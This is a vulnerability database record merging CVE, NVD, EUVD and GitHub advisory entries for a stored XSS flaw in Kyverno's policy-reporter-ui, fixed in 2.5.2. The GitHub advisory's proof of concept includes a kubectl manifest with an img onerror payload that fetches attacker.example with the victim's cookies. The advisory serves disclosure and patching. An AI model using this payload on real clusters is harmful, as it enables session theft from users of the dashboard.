{"id":"BIT-kyverno-2026-44245","revision":null,"records":[{"revision":"dcffde5330854d439a76beee111d11b3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44245","aliases":[],"title":"Kyverno: [policy-reporter-ui] XSS via Stored Property Values in PropertyCard Component","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.","state":0,"publishedAt":"2026-05-12T22:46:59.776+00:00","modifiedAt":"2026-05-13T14:33:16.039+00:00","affected":[{"ecosystem":"Vendor product","name":"kyverno","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kyverno\",\n                    \"product\": \"kyverno\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.5.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44245","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44245","identifiers":["CVE-2026-44245"]},"retained":false,"historicalAffected":[]},{"revision":"c5ca3e406e9e4415b1a56b7ce1e527ff","observedAt":"2026-11-15T13:10:41.773+00:00","statement":{"source":"euvd","id":"EUVD-2026-29880","aliases":["CVE-2026-44245","GHSA-q98m-7w8c-w388"],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ …","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":null}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-29880","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 12, 2026, 10:46:59 PM","dateUpdated":"May 13, 2026, 2:33:16 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-1511","title":"Kyverno: Schwachstelle ermöglicht Cross-Site Scripting","vulnerabilityIds":["CVE-2026-44245"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-29880","identifiers":["EUVD-2026-29880","CVE-2026-44245","GHSA-q98m-7w8c-w388"]},"retained":false,"historicalAffected":[]},{"revision":"5efd9713ab204e069ac189ead1fc7e77","observedAt":"2026-11-12T18:19:07.939+00:00","statement":{"source":"nvd","id":"CVE-2026-44245","aliases":[],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ …","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.","state":0,"publishedAt":"2026-05-12T23:16:18.06+00:00","modifiedAt":"2026-11-11T20:10:00.273+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44245","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-79"],"productCriteria":["cpe:2.3:a:kyverno:policy-reporter-ui:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-12T23:16:18.060","lastModified":"2026-11-11T20:10:00.273"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44245","identifiers":["CVE-2026-44245"]},"retained":false,"historicalAffected":[]},{"revision":"bd378c79e962429aaab1582e5046c3fb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-q98m-7w8c-w388","aliases":["BIT-kyverno-2026-44245","CVE-2026-44245","GO-2026-5577"],"title":"Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component","description":"### Summary\nVue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., `<img src=x onerror=alert(1)>` padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.\n\nThis vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.\n\n\n### PoC\n\nPrerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)\n\nCreate a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.\n```bash\nkubectl apply -f - <<'EOF'\napiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)\nkind: PolicyReport\nmetadata:\n  name: xss-poc\n  namespace: default\nresults:\n- message: \"test\"\n  policy: xss-test-policy\n  rule: check-rule\n  result: fail\n  properties:\n    # Value > 75 chars and not an http/https URL -> routed to v-html sink\n    advisory: \"<img src=x onerror=\\\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\\\"> padding padding padding\"\nEOF\n# Once a UI user opens the results table for the 'default' namespace\n# and expands the 'xss-test-policy' result row, the onerror handler fires\n# and exfiltrates their session cookies to attacker.example\n```\n<img width=\"1562\" height=\"1061\" alt=\"Снимок экрана\u00A0— 2026-04-21 в\u00A010 52 17\" src=\"https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7\" />\n<img width=\"1041\" height=\"939\" alt=\"Снимок экрана\u00A0— 2026-04-21 в\u00A010 51 44\" src=\"https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7\" />\n\n### Impact\nXSS","state":0,"publishedAt":"2026-05-06T22:11:14+00:00","modifiedAt":"2026-09-10T03:50:55.2822196+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/policy-reporter-ui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.5.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388","https://nvd.nist.gov/vuln/detail/CVE-2026-44245","https://github.com/kyverno/kyverno"],"sourceUrl":"https://github.com/advisories/GHSA-q98m-7w8c-w388","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-q98m-7w8c-w388","identifiers":["GHSA-q98m-7w8c-w388","BIT-kyverno-2026-44245","CVE-2026-44245","GO-2026-5577"]},"retained":false,"historicalAffected":[]},{"revision":"725141a9c8bd47c09a54ec12f5d1c68f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5577","aliases":["BIT-kyverno-2026-44245","CVE-2026-44245","GHSA-q98m-7w8c-w388"],"title":"Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component in github.com/kyverno/policy-reporter-ui","description":"Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component in github.com/kyverno/policy-reporter-ui","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:11:06.265508+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/policy-reporter-ui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.5.2+incompatible"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388","https://nvd.nist.gov/vuln/detail/CVE-2026-44245"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5577","license":"OSV · upstream source license applies","key":"osv:GO-2026-5577","identifiers":["GO-2026-5577","BIT-kyverno-2026-44245","CVE-2026-44245","GHSA-q98m-7w8c-w388"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-47f38f0996d04d31b51da25d0a0d9bc1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:17:28.4296709+00:00","lastSuccessAt":"2026-11-15T13:17:28.424+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:17:28.424+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13628,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. 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